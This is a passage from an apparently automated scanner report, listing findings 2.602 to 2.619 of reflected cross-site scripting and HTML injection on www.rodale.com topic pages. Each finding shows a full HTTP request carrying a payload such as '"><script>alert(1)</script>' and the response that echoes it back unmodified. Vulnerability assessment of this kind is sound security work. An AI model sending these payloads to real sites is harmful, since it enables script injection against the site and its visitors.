lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/herbs?445e2"><script>alert(1)</script>157699cafc7=1" title="Register" class="moreLink">
...[SNIP]...

2.602. http://www.rodale.com/topic/holiday-tips [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/holiday-tips

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 76d1f"><a>910ae8e435f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic76d1f"><a>910ae8e435f/holiday-tips HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:58 GMT
Date: Thu, 10 Mar 2011 17:13:58 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic76d1f"><a>910ae8e435f topic76d1f">
...[SNIP]...

2.603. http://www.rodale.com/topic/holiday-tips [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/holiday-tips

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59a60"><a>e713959e70d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/holiday-tips59a60"><a>e713959e70d HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:31 GMT
Date: Thu, 10 Mar 2011 17:14:31 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-holiday-tips59a60"><a>e713959e70d node node-958">
...[SNIP]...

2.604. http://www.rodale.com/topic/holiday-tips [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/holiday-tips

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dca1f"><script>alert(1)</script>d682e45b9d7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/holiday-tips?dca1f"><script>alert(1)</script>d682e45b9d7=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:43:52 GMT
Date: Thu, 10 Mar 2011 17:13:53 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32835

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/holiday-tips?dca1f"><script>alert(1)</script>d682e45b9d7=1" title="Register" class="moreLink">
...[SNIP]...

2.605. http://www.rodale.com/topic/home-remedies [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/home-remedies

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba1f7"><a>8642c9b6ebf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicba1f7"><a>8642c9b6ebf/home-remedies HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:54 GMT
Date: Thu, 10 Mar 2011 17:13:54 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicba1f7"><a>8642c9b6ebf topicba1f7">
...[SNIP]...

2.606. http://www.rodale.com/topic/home-remedies [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/home-remedies

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8322f"><a>3c3f223014e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/home-remedies8322f"><a>3c3f223014e HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:30 GMT
Date: Thu, 10 Mar 2011 17:14:30 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-home-remedies8322f"><a>3c3f223014e node node-958">
...[SNIP]...

2.607. http://www.rodale.com/topic/home-remedies [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/home-remedies

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abc9d"><script>alert(1)</script>c71b48db575 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/home-remedies?abc9d"><script>alert(1)</script>c71b48db575=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:51 GMT
Date: Thu, 10 Mar 2011 17:13:51 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32801

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/home-remedies?abc9d"><script>alert(1)</script>c71b48db575=1" title="Register" class="moreLink">
...[SNIP]...

2.608. http://www.rodale.com/topic/home-safety [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/home-safety

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4664c"><a>b106c480970 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic4664c"><a>b106c480970/home-safety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:43:55 GMT
Date: Thu, 10 Mar 2011 17:13:56 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic4664c"><a>b106c480970 topic4664c">
...[SNIP]...

2.609. http://www.rodale.com/topic/home-safety [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/home-safety

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a65a"><a>94500099bf3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/home-safety1a65a"><a>94500099bf3 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:36 GMT
Date: Thu, 10 Mar 2011 17:14:36 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-home-safety1a65a"><a>94500099bf3 node node-958">
...[SNIP]...

2.610. http://www.rodale.com/topic/home-safety [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/home-safety

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b5ff"><script>alert(1)</script>044917ddac5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/home-safety?5b5ff"><script>alert(1)</script>044917ddac5=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:50 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:53 GMT
Date: Thu, 10 Mar 2011 17:13:53 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32799

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/home-safety?5b5ff"><script>alert(1)</script>044917ddac5=1" title="Register" class="moreLink">
...[SNIP]...

2.611. http://www.rodale.com/topic/homemade-cleaners [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/homemade-cleaners

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 476a7"><a>ad7053ac33 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic476a7"><a>ad7053ac33/homemade-cleaners HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:56 GMT
Date: Thu, 10 Mar 2011 17:13:56 GMT
Content-Length: 22518
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic476a7"><a>ad7053ac33 topic476a7">
...[SNIP]...

2.612. http://www.rodale.com/topic/homemade-cleaners [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/homemade-cleaners

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7aec3"><a>78d6884cc1d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/homemade-cleaners7aec3"><a>78d6884cc1d HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:36 GMT
Date: Thu, 10 Mar 2011 17:14:36 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-homemade-cleaners7aec3"><a>78d6884cc1d node node-958">
...[SNIP]...

2.613. http://www.rodale.com/topic/homemade-cleaners [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/homemade-cleaners

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfbcf"><script>alert(1)</script>7fcb0457b1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/homemade-cleaners?dfbcf"><script>alert(1)</script>7fcb0457b1=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:43:53 GMT
Date: Thu, 10 Mar 2011 17:13:54 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32883

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/homemade-cleaners?dfbcf"><script>alert(1)</script>7fcb0457b1=1" title="Register" class="moreLink">
...[SNIP]...

2.614. http://www.rodale.com/topic/honey [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/honey

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcd5b"><a>9630dbd2152 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicfcd5b"><a>9630dbd2152/honey HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:09 GMT
Date: Thu, 10 Mar 2011 17:14:09 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicfcd5b"><a>9630dbd2152 topicfcd5b">
...[SNIP]...

2.615. http://www.rodale.com/topic/honey [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/honey

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91bfd"><a>1f6c4edb8f8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/honey91bfd"><a>1f6c4edb8f8 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:44:49 GMT
Date: Thu, 10 Mar 2011 17:14:50 GMT
Content-Length: 22465
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-honey91bfd"><a>1f6c4edb8f8 node node-958">
...[SNIP]...

2.616. http://www.rodale.com/topic/honey [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/honey

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c7b1"><script>alert(1)</script>39d74905e98 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/honey?4c7b1"><script>alert(1)</script>39d74905e98=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:44:05 GMT
Date: Thu, 10 Mar 2011 17:14:06 GMT
Content-Length: 29930
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/honey?4c7b1"><script>alert(1)</script>39d74905e98=1" title="Register" class="moreLink">
...[SNIP]...

2.617. http://www.rodale.com/topic/hormone-disruption [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/hormone-disruption

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27245"><a>1fdd88a28a1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic27245"><a>1fdd88a28a1/hormone-disruption HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:07 GMT
Date: Thu, 10 Mar 2011 17:14:07 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic27245"><a>1fdd88a28a1 topic27245">
...[SNIP]...

2.618. http://www.rodale.com/topic/hormone-disruption [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/hormone-disruption

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 796cd"><a>55a84b06c61 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/hormone-disruption796cd"><a>55a84b06c61 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:41 GMT
Date: Thu, 10 Mar 2011 17:14:41 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-hormone-disruption796cd"><a>55a84b06c61 node node-958">
...[SNIP]...

2.619. http://www.rodale.com/topic/hormone-disruption [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/hormone-disruption

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c41b2"><script>alert(1)</script>068b6f18a40 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/hormone-disruption?c41b2"><script>alert(1)</script>068b6f18a40=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
